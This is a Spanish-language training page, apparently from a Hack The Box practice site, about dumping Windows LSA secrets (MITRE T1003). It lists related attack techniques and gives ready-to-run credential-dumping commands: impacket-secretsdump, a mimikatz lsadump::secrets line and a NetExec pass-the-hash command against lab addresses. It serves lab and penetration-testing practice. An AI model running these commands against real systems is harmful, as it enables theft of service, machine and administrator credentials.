Secretos LSA
Subtécnica de T1003 Volcado de credenciales del sistema ↗
Sacar del registro los secretos LSA: contraseñas de servicios, autologon y la cuenta de máquina.
Cómo aparece en Hack The Box
secretsdump contra un equipo donde eres administrador vuelca SAM y LSA a la vez; las contraseñas de servicio suelen salir en claro.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías
- Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit 4 min de lectura Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Active Directory a fondo › Impacket
SAM/LSA (admin local)
Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20Mimikatz › Credenciales
Secretos LSA
Víctima
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"NetExec (nxc) › Siendo administrador
SAM y LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsaNingún comando coincide.